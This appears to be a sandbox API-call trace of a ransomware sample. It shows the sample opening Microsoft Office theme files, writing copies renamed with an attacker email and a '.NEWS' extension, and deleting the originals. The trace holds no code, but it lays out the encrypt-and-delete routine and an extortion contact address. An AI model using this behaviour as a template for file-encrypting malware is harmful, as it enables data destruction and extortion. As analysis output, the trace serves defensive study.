lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.852] lstrlenW (lpString=".jpg") returned 4 [0252.852] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.853] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0252.853] lstrlenW (lpString="Slipstream.eftx") returned 15 [0252.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0252.893] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=27789) returned 1 [0252.893] CloseHandle (hObject=0x3d4) returned 1 [0252.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0253.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0253.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.042] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.042] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0253.043] GetLastError () returned 0x0 [0253.043] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0253.142] WriteFile (in: hFile=0x384, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0253.146] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.146] WriteFile (in: hFile=0x384, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0253.146] SetEndOfFile (hFile=0x384) returned 1 [0253.147] CloseHandle (hObject=0x384) returned 1 [0253.147] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.147] SetEndOfFile (hFile=0x3a0) returned 1 [0253.156] CloseHandle (hObject=0x3a0) returned 1 [0253.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0253.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.159] lstrlenW (lpString=".doc") returned 4 [0253.159] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.160] lstrlenW (lpString=".docx") returned 5 [0253.160] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.160] lstrlenW (lpString=".pdf") returned 4 [0253.160] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.160] lstrlenW (lpString=".xls") returned 4 [0253.160] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.160] lstrlenW (lpString=".xlsx") returned 5 [0253.160] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.160] lstrlenW (lpString=".ppt") returned 4 [0253.160] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.160] lstrlenW (lpString=".zip") returned 4 [0253.160] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.160] lstrlenW (lpString=".rar") returned 4 [0253.161] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.161] lstrlenW (lpString=".bz2") returned 4 [0253.161] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.161] lstrlenW (lpString=".7z") returned 3 [0253.161] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.161] lstrlenW (lpString=".dbf") returned 4 [0253.161] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.161] lstrlenW (lpString=".1cd") returned 4 [0253.161] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.161] lstrlenW (lpString=".jpg") returned 4 [0253.161] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.162] lstrlenW (lpString=".doc") returned 4 [0253.162] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.162] lstrlenW (lpString=".docx") returned 5 [0253.162] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.162] lstrlenW (lpString=".pdf") returned 4 [0253.162] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.162] lstrlenW (lpString=".xls") returned 4 [0253.162] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.162] lstrlenW (lpString=".xlsx") returned 5 [0253.162] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.163] lstrlenW (lpString=".ppt") returned 4 [0253.163] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.163] lstrlenW (lpString=".zip") returned 4 [0253.163] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.163] lstrlenW (lpString=".rar") returned 4 [0253.163] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.163] lstrlenW (lpString=".bz2") returned 4 [0253.163] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.163] lstrlenW (lpString=".7z") returned 3 [0253.163] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.163] lstrlenW (lpString=".dbf") returned 4 [0253.163] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.164] lstrlenW (lpString=".1cd") returned 4 [0253.164] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0253.164] lstrlenW (lpString=".jpg") returned 4 [0253.164] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.164] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0253.165] lstrlenW (lpString="Solstice.eftx") returned 13 [0253.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0253.282] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=27781) returned 1 [0253.282] CloseHandle (hObject=0x384) returned 1 [0253.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0253.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0255.414] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.414] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0260.061] GetLastError () returned 0x0 [0260.062] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x6c85, lpOverlapped=0x0) returned 1 [0260.072] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0260.077] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.077] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xee, lpOverlapped=0x0) returned 1 [0260.077] SetEndOfFile (hFile=0x3b4) returned 1 [0260.078] CloseHandle (hObject=0x3b4) returned 1 [0260.078] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.078] SetEndOfFile (hFile=0x370) returned 1 [0260.086] CloseHandle (hObject=0x370) returned 1 [0260.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0260.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.089] lstrlenW (lpString=".doc") returned 4 [0260.089] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0260.089] lstrlenW (lpString=".docx") returned 5 [0260.089] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0260.089] lstrlenW (lpString=".pdf") returned 4 [0260.089] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0260.089] lstrlenW (lpString=".xls") returned 4 [0260.089] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0260.089] lstrlenW (lpString=".xlsx") returned 5 [0260.089] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0260.089] lstrlenW (lpString=".ppt") returned 4 [0260.089] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0260.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.090] lstrlenW (lpString=".zip") returned 4 [0260.090] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0260.090] lstrlenW (lpString=".rar") returned 4 [0260.090] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0260.090] lstrlenW (lpString=".bz2") returned 4 [0260.090] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0260.090] lstrlenW (lpString=".7z") returned 3 [0260.090] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0260.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.090] lstrlenW (lpString=".dbf") returned 4 [0260.090] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0260.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.091] lstrlenW (lpString=".1cd") returned 4 [0260.091] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0260.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.091] lstrlenW (lpString=".jpg") returned 4 [0260.091] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0260.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.092] lstrlenW (lpString=".doc") returned 4 [0260.092] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0260.093] lstrlenW (lpString=".docx") returned 5 [0260.093] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0260.093] lstrlenW (lpString=".pdf") returned 4 [0260.093] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0260.093] lstrlenW (lpString=".xls") returned 4 [0260.093] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0260.093] lstrlenW (lpString=".xlsx") returned 5 [0260.093] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0260.093] lstrlenW (lpString=".ppt") returned 4 [0260.093] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0260.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.093] lstrlenW (lpString=".zip") returned 4 [0260.094] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0260.094] lstrlenW (lpString=".rar") returned 4 [0260.094] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0260.094] lstrlenW (lpString=".bz2") returned 4 [0260.094] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0260.094] lstrlenW (lpString=".7z") returned 3 [0260.094] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0260.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.094] lstrlenW (lpString=".dbf") returned 4 [0260.094] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0260.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.095] lstrlenW (lpString=".1cd") returned 4 [0260.095] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0260.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0260.095] lstrlenW (lpString=".jpg") returned 4 [0260.095] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0260.095] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0260.095] lstrlenW (lpString="Verve.eftx") returned 10 [0260.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0260.099] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=31224) returned 1 [0260.099] CloseHandle (hObject=0x370) returned 1 [0260.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0260.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0260.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0260.102] GetLastError () returned 0x0 [0260.102] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x79f8, lpOverlapped=0x0) returned 1 [0260.597] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x7a00, lpOverlapped=0x0) returned 1 [0262.273] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.273] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.273] SetEndOfFile (hFile=0x3b4) returned 1 [0262.542] CloseHandle (hObject=0x3b4) returned 1 [0262.542] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.543] SetEndOfFile (hFile=0x370) returned 1 [0262.551] CloseHandle (hObject=0x370) returned 1 [0262.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1 [0262.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.554] lstrlenW (lpString=".doc") returned 4 [0262.554] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0262.554] lstrlenW (lpString=".docx") returned 5 [0262.554] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0262.554] lstrlenW (lpString=".pdf") returned 4 [0262.555] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0262.555] lstrlenW (lpString=".xls") returned 4 [0262.555] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0262.555] lstrlenW (lpString=".xlsx") returned 5 [0262.555] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0262.555] lstrlenW (lpString=".ppt") returned 4 [0262.555] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0262.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.556] lstrlenW (lpString=".zip") returned 4 [0262.556] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0262.556] lstrlenW (lpString=".rar") returned 4 [0262.558] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0262.558] lstrlenW (lpString=".bz2") returned 4 [0262.558] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0262.558] lstrlenW (lpString=".7z") returned 3 [0262.558] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0262.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.559] lstrlenW (lpString=".dbf") returned 4 [0262.559] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0262.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.559] lstrlenW (lpString=".1cd") returned 4 [0262.559] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0262.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.559] lstrlenW (lpString=".jpg") returned 4 [0262.560] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.560] lstrlenW (lpString=".doc") returned 4 [0262.560] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0262.560] lstrlenW (lpString=".docx") returned 5 [0262.561] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0262.561] lstrlenW (lpString=".pdf") returned 4 [0262.561] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0262.561] lstrlenW (lpString=".xls") returned 4 [0262.561] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0262.561] lstrlenW (lpString=".xlsx") returned 5 [0262.561] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0262.561] lstrlenW (lpString=".ppt") returned 4 [0262.562] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0262.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.562] lstrlenW (lpString=".zip") returned 4 [0262.562] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0262.562] lstrlenW (lpString=".rar") returned 4 [0262.562] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0262.562] lstrlenW (lpString=".bz2") returned 4 [0262.562] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0262.562] lstrlenW (lpString=".7z") returned 3 [0262.563] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0262.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.563] lstrlenW (lpString=".dbf") returned 4 [0262.563] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0262.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.563] lstrlenW (lpString=".1cd") returned 4 [0262.563] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0262.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0262.564] lstrlenW (lpString=".jpg") returned 4 [0262.564] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0262.565] lstrcmpiW (lpString1=".MML", lpString2=".NEWS") returned -1 [0262.565] lstrlenW (lpString="OFFICE10.MML") returned 12 [0262.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 